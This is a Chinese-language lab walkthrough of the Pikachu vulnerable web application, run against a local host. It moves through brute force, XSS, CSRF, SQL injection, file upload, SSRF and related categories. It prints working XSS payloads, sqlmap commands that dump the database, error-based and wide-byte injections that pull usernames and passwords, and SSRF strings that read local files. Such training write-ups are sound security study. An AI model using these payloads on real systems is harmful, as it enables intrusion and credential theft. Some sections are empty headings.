1. 暴力破解
1.1基于表单的暴力破解
设置两个变量,选择爆破模式后导入账号密码所使用的字典
选择长度不一样的账密进行登陆尝试
1.2 验证码绕过
同样使用bp抓包发送到intruder模块,导入字典后进行爆破
1.3.验证码绕过
在intruder模块里验证码可复用
1.4 token爆破
复制value值
粘贴到此处
设置资源池
2. XSS
2.1 反射型XSS
更改前端的字符限制。
<script>alert('xss')</script>
2.2 反射性XSS(POST)
先输入用户名和密码进行登录
接着构造payload语句
2.3 存储型XSS
直接输入点击提交会自动存储到留言板,再次打开依旧会进行弹窗。
2.4 DOM型XSS
随便输入字符,进行查看源代码
构造payload,进行字符串闭合完成弹窗
’ οnclick=“alert(‘xss’)”>
2.5 DOM型XSS-X
上一关的方式相同
2.6 XSS之盲打
看到登录框,构造了语句,进行提交。
根据右上角的提示,登录后台地址。输入账号密码
点击登录直接进行了弹窗,说明我们提交的数据被后台存储。
2.7 XSS之过滤
使用原有的被全部过滤的剩一个>
构造javascript伪协议绕过
<a href="" onclick="alert('xss')">
2.8 XSS之htmlspecialchars
单引号被过滤
<a href='' onclick='alert("xss")'>
使用双引号进行构造payload
2.9 XSS之href输出
利用JavaScript 代码段
javascript:alert(666)
2.10 XSS之输出
尝试闭合script
3. CSRF
3.1 CSRF(get)
右上角提示,登陆后点击修改个人信息并同时进行抓包
修改phonenum为666666,点击send发送
成功利用url修改了lucy密码
3.2 CSRF(POST)
原始数据包:
修改lili密码为6666666
与get提交方式不同
3.3 CSRF Token
4. SQL注入
4.1 数字型注入(POST)
4.2 字符型注入(get)
’ or ‘1’='1
4.3 搜索型注入
使用sqlmap爆破注入点:
python sqlmap.py -u “http://10.4.7.130/pikachu-master/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2” --batch
爆破数据库
python sqlmap.py -u “http://10.4.7.130/pikachu-master/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2” --dbs --batch
爆破数据表
python sqlmap.py -u “http://10.4.7.130/pikachu-master/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2” -D “pikachu” --tables --batch
Dump全部数据
4.4 XX型注入
直接使用sqlmap跑数据,与搜索型相似
4.5 “ insert/update ” 注入
根据提示进行注册并抓包
接着使用sqlmap进行爆破
python sqlmap.py -u “http://10.4.7.130/pikachu-master/vul/sqli/sqli_iu/sqli_reg.php” --data “username=yyy&password=1111&sex=&phonenum=&email=&add=&submit=submit” --batch
找到注入点后就是继续爆破库名、表名、内容。
4.6 “ delete ” 注入
在留言板留言删除并抓包,更改id的数据。也可将包直接保存到文档使用sqlmap跑数据。
查询所有表
?id=58+and+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),1)
查询所有字段
?id=58+and+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name=‘users’),0x7e),1)
查询数据
?id=58+and+updatexml(1,concat(0x7e,substr((select+group_concat(id,‘:’,username,‘:’,password)+from+users),1,31),0x7e),1)
4.7 “ http header ” 注入
右上角的用户密码登录并抓包
尝试对ua头进行注入
之后与报错注入手法相似,delete关使用的报错注入手工注入。
4.8 布尔盲注
复制url到sqlmap中测试
python sqlmap.py -u “http://10.4.7.130/pikachu-master/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2”
python sqlmap.py -u http://10.4.7.130/pikachu-master/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2 --batch
接着可以跑数据库、表名以及数据。
4.9 时间盲注
与布尔盲注相似,可抓包使用sqlmap直接跑
4.10 宽字节注入
name=1%df’ union select version(),database() --+name=1
查表
name=1%df’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
查字段名
name=1%df’ union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273–+
爆数据库
name=1%df’ union select group_concat(username),group_concat(password) from pikachu.users --+
5. RCE
5.1 exec “ ping ”
5.2 Exec “ eval ”
6. 文件包含
6.1 file inclusion(local)本地包含
尝试修改文件名
6.2 File inclusion(remote)远程包含
7. unsafe filedownload
修改下载的文件名,可直接得到其余文件
8. unsafe filedown
8.1 client check
删除onchange里的函数,上传文件并成功连接
成功上传文件
8.2 MIME type
修改文件格式,成功上传文件
8.3 Getiagesize
制作图片码
9. Over permission
9.1 水平越权
尝试更改URL
9.2 垂直越权
抓取pikachu和admin添加用户的数据
更改cookie值为普通用户的,并更改用户信息并发送,就可以成功越权操作添加用户
刷新页面数据
10. 目录遍历
更改url
11. 敏感信息泄露
随便输入一个账密,显示密码错误,查看页面源代码
12. PHP反序列化
写一段php代码并运行出结果,序列化一个xss的弹窗
`<?php
class S{
var $test=“”;
}
$a=new S();
echo serialize($a)
?>`
将序列化后的字符输入在提示框里
O:1:“S”:1:{s:4:“test”;s:27:“”;}
13. XXE
14. URL重定向
随便点击连接并观察url
更改url可直接实现跳转
直接访问文件也可实现文件的下载
15. SSRF
15.1 SSRF(curl)
观察url链接
可进行端口扫描,读取本地文件,内网指纹识别等
读取本地文件:
?url=file://c:\windows\system32\drivers\etc\hosts
端口扫描
?url=dict://127.0.0.1:3306
WEb应用指纹识别
15.2 SSRF(file_get_concent)
使用php://filter读取文件